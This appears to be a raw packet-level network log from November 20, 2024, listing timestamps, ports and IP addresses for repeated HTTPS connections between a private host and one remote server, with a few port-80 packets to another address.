Nov 20, 2024 21:05:03.212713957 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.212791920 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.213084936 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.213099003 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.220387936 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.220810890 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.220844984 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.221254110 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.221261024 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.521037102 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.521106005 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.521168947 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.521387100 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.521415949 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.521436930 CET	49817	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.521445990 CET	443	49817	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.524091005 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.524132013 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.524210930 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.524344921 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.524360895 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.635700941 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.635757923 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.635869026 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.638370037 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.638452053 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.638501883 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.664592981 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.664592981 CET	49816	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.664628029 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.664640903 CET	443	49816	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.665707111 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.665707111 CET	49818	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.665720940 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.665730953 CET	443	49818	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.672215939 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.672297001 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.672383070 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.730150938 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.730221987 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.730274916 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.733469009 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.733489037 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.733503103 CET	49815	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.733510971 CET	443	49815	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.743768930 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.743792057 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.743804932 CET	49820	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.743810892 CET	443	49820	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.796495914 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.796541929 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.796643972 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.803483009 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.803513050 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.813249111 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.813292027 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.813364983 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.813503027 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.813519955 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.814610004 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.814656019 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.814724922 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.817606926 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.817617893 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.821907043 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.821949959 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:03.822031021 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.822139025 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:03.822158098 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.397058010 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.400638103 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.400652885 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.401129961 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.401137114 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.617355108 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.618016958 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.618042946 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.618547916 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.618560076 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.633177042 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.633599997 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.633649111 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.634114981 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.634120941 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.649209976 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.649581909 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.649595022 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.650039911 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.650044918 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.688787937 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.689441919 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.689459085 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.690085888 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.690093040 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.859205961 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.859302998 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.859401941 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.859666109 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.859666109 CET	49821	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.859687090 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.859699011 CET	443	49821	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.862823963 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.862868071 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:05.862952948 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.863137960 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:05.863146067 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.088140011 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.088304043 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.088402033 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.088488102 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.088506937 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.088536978 CET	49822	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.088545084 CET	443	49822	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.091145992 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.091188908 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.091268063 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.091438055 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.091456890 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.132359982 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.132412910 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.132541895 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.132730007 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.132730007 CET	49824	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.132740974 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.132747889 CET	443	49824	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.135766029 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.135818005 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.135926962 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.137682915 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.137701035 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.175733089 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.175817013 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.175880909 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.176516056 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.176593065 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.176640034 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.191165924 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.191201925 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.191236973 CET	49823	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.191246033 CET	443	49823	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.192478895 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.192500114 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.192513943 CET	49825	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.192521095 CET	443	49825	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.225871086 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.225946903 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.226059914 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.226263046 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.226298094 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.226819992 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.226888895 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:06.226973057 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.227189064 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:06.227217913 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.596688986 CET	49724	80	192.168.2.4	199.232.214.172
Nov 20, 2024 21:05:07.642220020 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.645459890 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.645492077 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.646044016 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.646049976 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.724167109 CET	80	49724	199.232.214.172	192.168.2.4
Nov 20, 2024 21:05:07.725672960 CET	49724	80	192.168.2.4	199.232.214.172
Nov 20, 2024 21:05:07.972153902 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.972716093 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.972784042 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.973203897 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.973217964 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.975927114 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.976382971 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.976402044 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.976721048 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.976732969 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.980664015 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.981158972 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.981192112 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:07.981599092 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:07.981609106 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.055432081 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.055916071 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.055948019 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.056401968 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.056408882 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.079253912 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.079442978 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.079523087 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.079602003 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.079622030 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.079634905 CET	49826	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.079641104 CET	443	49826	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.082891941 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.082956076 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.083043098 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.083174944 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.083190918 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.419914961 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.419970036 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.420048952 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.420193911 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.420193911 CET	49830	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.420248032 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.420278072 CET	443	49830	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.420826912 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.420893908 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.420947075 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.421147108 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.421169043 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.421194077 CET	49828	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.421210051 CET	443	49828	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.423763990 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.423814058 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.423883915 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.424036026 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.424050093 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.424685955 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.424729109 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.424792051 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.424901962 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.424921989 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.425643921 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.425857067 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.425915003 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.426033974 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.426060915 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.426079035 CET	49827	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.426084995 CET	443	49827	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.428200006 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.428227901 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.428319931 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.428414106 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.428420067 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.506381035 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.506458044 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.506546974 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.506779909 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.506835938 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.506872892 CET	49829	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.506891012 CET	443	49829	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.510092974 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.510112047 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:08.510198116 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.510315895 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:08.510324001 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:09.823983908 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:09.824486017 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:09.824527979 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:09.825270891 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:09.825284958 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.161115885 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.161767006 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.161792040 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.162455082 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.162461996 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.172800064 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.173294067 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.173333883 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.173738003 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.173746109 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.266851902 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.266932011 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.267266035 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.267393112 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.267393112 CET	49831	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.267440081 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.267472982 CET	443	49831	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.268681049 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.269989967 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.270031929 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.270414114 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.270421028 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.270757914 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.270816088 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.271006107 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.271086931 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.271095991 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.603890896 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.603981972 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.604106903 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.604387999 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.604387999 CET	49832	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.604418993 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.604433060 CET	443	49832	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.608015060 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.608050108 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.608148098 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.608383894 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.608400106 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.636295080 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.636348963 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.636584044 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.636647940 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.636667967 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.636682987 CET	49833	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.636689901 CET	443	49833	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.639822960 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.639885902 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.639978886 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.640202045 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.640221119 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.718723059 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.718931913 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.719105005 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.719382048 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.719396114 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.719412088 CET	49835	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.719418049 CET	443	49835	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.722671032 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.722687960 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:10.722779036 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.722951889 CET	49839	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:10.722969055 CET	443	49839	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.109282970 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.109998941 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.110022068 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.110604048 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.110609055 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.142426014 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.143304110 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.143333912 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.143800020 CET	49834	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.143806934 CET	443	49834	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.425539017 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.426187992 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.426208973 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.426892042 CET	49837	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.426898003 CET	443	49837	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.523020029 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.523757935 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.523785114 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.524221897 CET	49838	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.524229050 CET	443	49838	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.594388008 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.594543934 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.594727039 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.594805002 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.594822884 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.594851017 CET	49836	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.594857931 CET	443	49836	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.598436117 CET	49840	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:12.598484039 CET	443	49840	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:12.598599911 CET	49840	443	192.168.2.4	13.107.246.63
